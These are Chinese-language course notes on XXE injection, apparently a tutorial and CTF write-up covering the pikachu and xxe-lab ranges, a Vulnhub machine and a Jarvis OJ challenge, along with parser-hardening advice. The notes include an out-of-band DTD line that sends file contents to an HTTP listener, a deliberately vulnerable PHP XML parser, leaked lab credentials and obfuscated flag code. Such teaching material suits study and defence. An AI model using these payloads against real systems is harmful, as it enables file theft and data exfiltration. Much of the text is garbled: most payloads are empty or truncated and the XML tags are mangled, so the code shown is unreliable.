第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解

文章目录

    • 思维导图
    • 基础知识
      • XML
      • XXE
      • XML 与 HTML 的主要差异
      • DTD
      • DTD 实体
      • XXE 漏洞修复与防御方案-php,java,python-过滤及禁用
        • 方案 1-禁用外部实体
        • 方案 2-过滤用户提交的 XML 数据
    • 涉及案例:
      • pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入
        • 玩法-读文件
        • 玩法-内网探针或攻击内网应用(触发漏洞地址)
        • 玩法-RCE
        • 引入外部实体 dtd
        • 无回显-读取文件
          • evil2.dtd
      • xxe-lab 靶场登陆框 xml 数据传输测试-检测发现
      • CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
        • 目标站点
        • 扫描网段
        • 浏览器访问可疑IP
        • 扫描探针目录,发现robots.txt
        • 访问robots.txt
        • 试着访问/xxe
        • 抓包该包
        • 查看xxe.php
        • 查看admin.php
        • 使用 payload读取flagmeout.php文件
        • 获取flag
      • CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
      • xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
    • 涉及资源:

思维导图

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第1张图片

基础知识

XML

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、
DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据
从 HTML 分离,是独立于软件和硬件的信息传输工具。

XXE

XXE 漏洞全称
XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发
生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载
恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站
等危害。

XML 与 HTML 的主要差异

XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。




<!DOCTYPE note [ 
<!ELEMENT to (#PCDATA)> 
<!ELEMENT from (#PCDATA)> 
<!ELEMENT head (#PCDATA)> 
<!ELEMENT body (#PCDATA)> 
]]]>

<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>

DTD

文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

(1)内部的 DOCTYPE 声明
DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
DOCTYPE 根元素 SYSTEM ”文件名”>

DTD 实体

(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>

XXE 漏洞修复与防御方案-php,java,python-过滤及禁用

方案 1-禁用外部实体

PHP:
libxml_disable_entity_loader(true);


JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);


Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案 2-过滤用户提交的 XML 数据

过滤关键词:

涉及案例:

pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第2张图片

玩法-读文件




]>
&xxe;

在D盘创建test.txt

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第3张图片

pikachu靶场xxe

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第4张图片

玩法-内网探针或攻击内网应用(触发漏洞地址)

实际应用中基本碰不到

前提条件

  • 内网IP地址
  • 开放端口
  • 纯在xxe漏洞
  • 构造漏洞地址



]>
&rabbit;

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第5张图片

网站根目录下 test.txt

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第6张图片

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第7张图片

玩法-RCE

该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令 实际应用中很难碰到



]>
&xxe;

引入外部实体 dtd




%file;
]>
&send;

evil2.dtd:



第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第8张图片

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第9张图片

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第10张图片

无回显-读取文件



DOCTYPE test [


%dtd;
%send;
]>

evil2.dtd

% send SYSTEM 'http://127.0.0.1:80/?data=%file;'>"
>
%payload;

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第11张图片

开启apache日志功能-access.log

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第12张图片

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第13张图片

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第14张图片

5oiR54ix5ZCD55OcIQ== base64解密 ———》 我爱吃瓜!

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第15张图片

协议-读文件(绕过)
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html



 ]>
&f;

开启回显(恢复把刚才注释的语句)

把上面的语句提交

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第16张图片

xxe-lab 靶场登陆框 xml 数据传输测试-检测发现

靶场下载地址:https://github.com/c0ny1/xxe-lab

1.提交的数据包含 XML 格式如:

admin

2.请求头中如:

  • Content-Type:text/xml
  • Content-type:application/xml



]>
&test;Mikasa

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第17张图片

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第18张图片

CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战

扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag




]>
&sp;hj

目标站点

(不知道账号密码 )

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第19张图片

攻击机IP

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第20张图片

扫描网段

发现可疑地址

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第21张图片

浏览器访问可疑IP

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第22张图片

扫描探针目录,发现robots.txt

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第23张图片

访问robots.txt

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第24张图片

试着访问/xxe

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第25张图片

抓包该包

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第26张图片

查看xxe.php


libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$password = $info->password;

echo "Sorry, this $name not available!";
?>

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第27张图片

查看admin.php

发现账号密码





   
   
      admin
      
      
      
      
   
	
   
      
      

Enter Username and Password

Click here to clean Session.
if ($_POST['username'] == 'administhebest' && 
                  md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') 

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第28张图片

MD5查询

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第29张图片

尝试登录/xxe/admin.php

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第30张图片

发现flag,但是页面不能访问到

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第31张图片

使用 payload读取flagmeout.php文件



DOCTYPE r [
<!ELEMENT r ANY >

]>
<root><name>&sp;name><password>hjpassword>root>

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第32张图片

解密获取到flagmeout.php
第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第33张图片

PD9waHAKJGZsYWcgPSAiPCEtLSB0aGUgZmxhZyBpbiAoSlFaRk1NQ1pQRTRIS1dUTlBCVUZVNkpWTzVRVVFRSjUpIC0tPiI7CmVjaG8gJGZsYWc7Cj8+Cg==

base64解码


$flag = "";
echo $flag;
?>


JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
base32————————》
L2V0Yy8uZmxhZy5waHA=
base64————————》
/etc/.flag.php

然后在使用payload语句
读取/etc/.flag.php



DOCTYPE r [
<!ELEMENT r ANY >

]>
<root><name>&sp;name><password>hjpassword>root>

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第34张图片
第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第35张图片
base64解码

$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);


php在线运行

PHP Notice:  Undefined variable: _ in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Undefined variable: __ in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Undefined variable: Á in /usercode/file.php on line 2
PHP Parse error:  syntax error, unexpected '{' in /usercode/file.php(2) : assert code on line 1
PHP Catchable fatal error:  assert(): Failure evaluating code: 
SAFCSP{xxe_is_so_easy} in /usercode/file.php on line 2

获取flag

SAFCSP{xxe_is_so_easy}

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/

更改请求数据格式:application/json ----> application/xml




]>
&f;

第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_第36张图片

xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://www.cnblogs.com/bmjoker/p/9614990.html
xxe_payload_fuzz

涉及资源:

http://web.jarvisoj.com:9882/
https://github.com/c0ny1/xxe-lab
https://github.com/enjoiz/XXEinjector
https://download.vulnhub.com/xxe/XXE.zip
https://www.cnblogs.com/bmjoker/p/9614990.html

你可能感兴趣的:(web安全,安全,php)